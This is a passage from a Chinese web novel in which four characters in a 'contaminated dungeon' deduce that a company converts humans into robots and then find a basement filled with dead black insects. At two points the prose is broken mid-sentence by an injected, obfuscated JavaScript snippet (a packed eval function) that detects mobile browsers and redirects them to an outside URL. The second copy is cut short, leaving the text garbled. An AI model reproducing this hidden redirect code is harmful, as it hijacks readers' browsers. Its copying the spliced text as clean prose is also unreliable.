吴明明越来越困惑，越来越感到一种莫名的诡异感，好像他自己其实才是那个不正常的人类。 直到，一个男人走到前台面前，他的声音嘶哑难听，说：“我的发声器损坏了，我需要更换一个新的。” 这个男人的问题和他之前见到的人都不一样，吴明明好奇地抬起头，看到了难以让他遗忘的恐惧。 那个男人的喉结处被割开，裸露出了里面的机械喉结。更可怕的是，那个喉结的伤口处上，爬满了密密麻麻黑色的虫子。 吴明明san值狂掉，大脑一片空白。 【精神污染值+1%】 手表的震动把吴明明的理智拉回来一瞬间，他意识到这些人类的问题根本没有他想象的那么简单。 而永生机械公司，之所以可以帮助人类更加长寿与健康，是因为除了生产机器人以外，还在制作人类可以安装和替换的机械零件。 这也就说通了为什么机器人公司会让人类更加长寿与健康的问题。 吴明明双手颤抖着把这位顾客的信息录入到了电脑中。 接下来的人类，一个比一个奇怪，一个比一个诡异，有脑袋调转一百八十度的，也有嘴巴安在肚子上的，更有除了眼睛以外浑身上下都是机械的。 吴明明的工作速度变得越来越慢，他能感觉到副本在污染他的精神力，也能感觉到自己的大脑逐渐变得无法思考，身体也是越来越沉重。 甚至有一瞬间，他想从座位上起身离开，放弃这份工作。 但他经历过很多个副本，他知道如果真的这样做了，他可能就再也离不开这个副本了。 终于，熬到下班结束，一束灯光却忽然聚焦到了身上。 他勉强擦边通过了考核，后知后觉地冒出一身冷汗。 他不敢想象，如果他少录入一个客人信息，他考核失败后会变成什么样。他也会和那些人类一样，身上冒出密密麻麻的黑色虫子吗？ 吴明明回忆结束后，其余三人都沉默了，事情远比她们想象的要复杂。 “登记完信息后，那些人类都去哪儿了？”方沐脑中整理着吴明明经历的事件，努力整理出有价值的信息。 “我，我也不知道，好像是离开了？”吴明明摇了摇头，“不对，好像没有人离开。” 方沐看了他一眼，问：“你确定吗？” 吴明明点了点头，说：“没错，他们不会离开的。我作为前台接待会记录他们的信息，信息记录完后他们应该会留在公司接受治疗才对。” 方沐也是这么想的：“所以这家公司虽然叫做永生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17474625|201454||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 机械公司，但其实更像是一家医院，只不过是用机械改造为人类治疗。” “有道理。”瞿风肯定了方沐的想法，“这么看来，那些产生攻击性的机器人或许并不是机器人，而是接受了机械治疗的人类，那些攻击性行为也更像是机械排异后的反应。” “可是那些受伤很严重的人类采用机械改造倒是还能理解，像吴明明说的前面那些病人，身体上不过只是受了一点小伤而已，至于到替换身体零件那一步吗？”陈听在一旁提出质疑。 吴明明插话说：“对了，我还想起来一件事，他们有些人一直在说末日来了，人类要灭亡了之类的话。大概是世界好像下了一场很久都不会消散的黑雾，对人类的身体会造成很大的威胁。” “末日？”瞿风扫过来一个冷冷的眼神，“这种污染副本都是旧纪元时代的一种映像，可旧纪元时代从未有过末日。” “旧纪元时代的映像？”方沐抓住关键信息，“也就是说我们进入的污染副本其实都是曾经旧时代真实发生过的事情。” 陈听对方沐解释道：“废土上的所有建筑和物品都是旧纪元时代的人类遗留下来的，每个污染副本里都残留着旧纪元时代人类的记忆，污染物会操控扭曲部分事件，末日也有可能是污染物为了合理化副本虚构出来的。” “但这样完全不合理，如果没有末日，那些人类也没有必要为了一点小伤就进行机械改造。”瞿风反驳她的话。 “嘶——”陈听吸了一口气，“你说的也有道理，难不成在废土之前还发生过一场末日，但大家都不知道？” “先不要纠结有没有发生过末日了，我们现在最关键的是要找出污染源在哪里。”方沐做出了一个更为冷静的判断，把大家的注意力拉回到了她身上。 “我突然有个很大胆的猜测，不，可能不只是猜测，甚至是事实。”方沐语气冷静而严肃，似乎要说出什么不得了的事情。她看着面前的三人，给足他们做出充分反应的时间。 陈听闭上嘴，深呼吸一口气，对着方沐说：“我准备好了。” 瞿风也克制住了自己想要继续探究的欲望，点了点下巴。 方沐看到吴明明也点头之后，终于开口说道：“我觉得这栋大楼里并没有机器人，所有机器人应该都是基于人类基础上改造的。” 其余三人眼球震颤，想要说些什么，却被方沐拦下了。 她继续不慌不忙地开口，说完另外一个更为震惊的猜测。 “甚至，公司急缺人类员工，缺的并不是需要干活和工作的人类，而是缺被制造成为机器人的人类。” 陈听猛地吸了一口气，拍了一下大腿，激动地说：“所以我们的考核被分成不同的颜色，也根本不是公司在沿用机器人的考核制度，而是我们从一开始就被当成了机器人。” 20. 第 20 章 方沐点点头：“就是这样，这家公司名义上是在招聘人类员工，实则在寻找把身体改造成机器人的人类。” 陈听摇摇头，身为一个资历很久的老骗子，给这个公司下了定义：“简直就是无良黑心公司，我就算再没良心也做不到这个程度。” 吴明明看了她一眼，眼里产生疑惑。 陈听快速改变话术：“哈哈我不是说我自己是骗子的意思哈，我是说我这个人道德感太强了，看不下去这种公司竟然能做出来这种事。我这人从来不说假话，我也不可能对我的客户们做出这种事情。” 说完，她一只手我成拳头在空气里挥动了几下，似乎表现出了她对这家公司极不满意的态度。 方沐和瞿风都沉默了，没人接她的茬。 吴明明对她的话半信半疑，视线也从陈听身上移开，再次移到方沐身上：“可是，这样做的目的是什么呢？为什么一定要把人类变成机器人呢？” “因为那场末日。”一直有些沉默的瞿风，突然冒出这么一句话，她还在关注旧纪元里存在的末日。 方沐赞同地看了她一眼，说出了自己的全部猜测：“虽然不知道具体发生了什么，但可以知道的是，这场灾难发生之后，人类对于死亡的恐惧到达了顶峰，他们不想死亡，他们只想活下来。在这个时候，一个叫作永生机械的公司出现，告诉他们找到了可以让人类永生和健康的办法。 人类的身体会受伤，会生病，会死亡，但机械不会，它们坏了可以更换，可以维修，某种意义上确实达到了永生和健康的目的。被末日氛围压迫的人类们已经做不出太理智的思考，为了活下去，他们选择了机械化改造自己的身体。 可是，机械并不是万能的，那些更换了机械零件的人，他们的身体无时无刻不在排斥这些机械零件。为了减轻排斥的痛苦，他们不断增加自己身体里机械零件的数量，直到成为完全机械化的机器人。 等到那个时候，他们也只能选择留在这家公司里，他们的身体随时可能会出现问题，只有这家公司能够维修保养他们的身体。在末日将人类灭亡之前，他们已经先一步把自己困死在了这栋机器大楼里。而这家公司，似乎也终于实现了一种彻底机器化办公的永生。 但是，有一天，他们发现机器化了的人类也不是永远健康的。他们的意识还在，他们还在持续不断地拥有各种思想上的苦恼与痛苦。病症从身体转移到了精神上，而精神上的疾病要更加严重，甚至于机械化也无法解决这个问题。于是，一部分完全机器化的人类失去了意识，脱离了永生的行列。公司为了维持运转，自然需要更多的人类来补足这个不断前进的齿轮。” 方沐接着补充了她今天看到的一切，说出了那些缺失灵魂等同于消失的类人机器人。 “所以我觉得，这个副本的污染源一定是在更高楼层之上，它是这个公司的领导，控制着那些缺失了灵魂的机器人们。” 一天下来，每个人都掌握了一些各自知道的线索，但方沐却直接把所有的线索按照最为合理的逻辑串联在一起，甚至还原了整个事件的真相。 这在整个废土世界中都是顶级的存在。 陈听两个手都竖起大拇指，连连点头。就算她精神力没有损毁，可以做到准确预知未来事情的时候，也不可能做到这个地步。 不，或许应该说，她只在另一个身上看到过这种同样强大的能力。 瞿风双手交叉放在胸前，她目不转睛地看着方沐，眼里除了赞赏以外，似乎还在回忆着什么。 吴明明本身便对只有C极精神力的方沐有所偏见，但因为见识到了她刚才蘑菇的力量，又听完方沐的分析，心里也不得不对方沐有了一些信任。 只是，他第一次遇到如此难缠的A级副本，还经历了一次精神力掉级，他现在只想快点离开副本，越快越好。他害怕再这样下去，他的精神力会永远停留在C级。 吴明明低头看了一眼自己胳膊上的那朵蘑菇，想着方沐要是能多给他种几个就好了，那样他说不定很快就能恢复B级精神力，甚至有可能到达A级精神力了。 他边想边抬起头，猛地和方沐的眼睛对上视线。 那双眸子极黑极亮，带着浅淡笑意的眸子里却总是传出一种淡淡的冷漠疏离感，似乎一眼就已经看透了吴明明的心事。 吴明明下意识地移开视线，挠了挠自己的脸，问：“那我们现在该做些什么呢？虽然副本内的时间流速要比现实时间快，可我们的身体是跟着副本时间走的。以防万一，我们还是要休息和吃饭的吧。” “我知道我们的人类宿舍位于地下二层，我们可以去那里休息休息，然后再想对策。”陈听今天一天都在整理各种文件，对整栋大楼已经有了一个大概的了解。 “你们觉得呢？”陈听拍了拍离自己最近的瞿风，又看向站在自己对面的方沐。 方沐点了点头，说：“走吧。” 她对地下二层也有点好奇，不知道那里会有什么，她总感觉会在那里遇到什么不一样的东西。 几人乘坐电梯到达地下二层。 电梯一拐出来，就是两间八人寝宿舍。或许是人类员工本身就不多，房间数量也没有准备太多。 一到宿舍门口，吴明明就率先挑了一间进去：“那我就在这间宿舍睡觉了，我今天实在是太累了，我觉得我需要好好休息休息。” 吴明明跟几人打完招呼，最后悄悄撇了一眼方沐，然后钻进了宿舍。 方沐、陈听和瞿风三人选择了另外一间宿舍，整个宿舍的风格非常朴实简约，和这个大楼其它地方完全不是一种画风。 如果说整栋大楼给她们的感觉是高科技且非常现代化的风格，那么这间宿舍就是给人一种早已过时彻底被时代抛弃了的风格。 四张简朴的上下铺铁床拜放在房间里，地面和天花板都是朴素的水泥风格，床上物品也都是一致的深蓝色。 陈听坐在一张床的下铺上，嫌弃地捡起一根床上的头发：“这里的环境也太糟糕了，这么大一个公司，倒也不必搞这么寒酸吧。” 方沐四处观察了一下宿舍，这里的物品可以说是一目了然，看不出任何有线索的物品。 倒是从电梯刚出来的时候，她注意到地下二层的范围其实很大，另一边的尽头甚至还有一道紧闭的大铁门，让她有些在意。 方沐回头看了两人一眼，说：“我想再去外面转转看看，找找还有没有什么别的线索。” 陈听半躺在床上，一只手用力摁着受过伤的右腿，脸上的表情看起来不太好。她咬着牙，装作一副轻松的样子：“哎呀这床太舒服了，我就先不出去了，让我在这里享受享受吧。” 方沐看出来她在强撑，没拆穿她。 站在一旁的瞿风走上前，从兜里拿出一个东西，塞到了陈听手上。 陈听有些困惑，把手打开一看，发现是一颗橙色的糖果。 “吃点儿甜的，会好很多。”瞿风的语调一如既往的冷淡，只从语气和表情上看不出半点儿的关心。 “谢啦，我收下了。”陈听撕开糖纸，把糖塞在嘴里，满足地眯了眯眼，“橙子味的，我喜欢。” “你陪着方沐出去看看吧，你们两个人在一起会好一些，要注意安全。如果遇到什么事情，跑就是了。”陈听说完话，就闭上了眼睛，一副要睡觉别搭理她的样子。 瞿风看了她一眼，没再回话，转身出门，【瞬移】跟上了刚出门没几步的方沐。 方沐看到瞿风跟过来，倒也没多么意外，任由她在旁边跟着。 “这个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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很快，她的手上就沾上了厚厚的一层灰。灰尘之间，还夹着一些黑色的不规则的粉末，看起来像是某种动物的尸体碎片。 忽然，方沐在地上看到了什么东西。她小心翼翼地把那个如同米粒一般大小的东西捏起来，发现那是一只死去的黑色虫子，身体已经干了，一捏就碎。 她刚才脚底碾过的，便是这种虫子的尸体。 方沐放眼望去，地面上黑色的虫子尸体组成了地面，一直延伸到最深的尽头。 “全是虫子。”方沐喃喃自语，突然想到了吴明明曾经提到说他在一些人类的伤口里看到过一些密密麻麻的黑色虫子。 “这个虫子会是吴明明提到过的那种吗？”方沐和瞿风说了她的猜测。 “要小心。”瞿风取出别在腰间的两把银色弯刀，仔细注意着周围的一切。 两个人来到第一个隔间，朝着黑黢黢的洞里面望过去。 一眼看去，洞里面除了黑色以外什么都没有。但在仔细一看，就能发现，那些黑色和黑色之间有着缝隙，并不是紧密相连的。 方沐伸出左手，将手上的蘑菇变为蘑菇刀，手拿蘑菇刀戳开了那些黑色。 果然，那些黑色也和地面上的黑色一样，是由那些黑色小虫子的尸体组成的。 黑色的虫子尸体把整个隔间里的东西全部遮挡了起来，方沐能触碰到这个隔间里放着什么东西。 她一挥蘑菇刀，刀带起风，将那层厚厚的虫子尸体挥开。 一个好几米高的巨型机器人赫然出现在两人面前，它低垂着头，身上满是斑驳铁锈，如同一个死去的战士。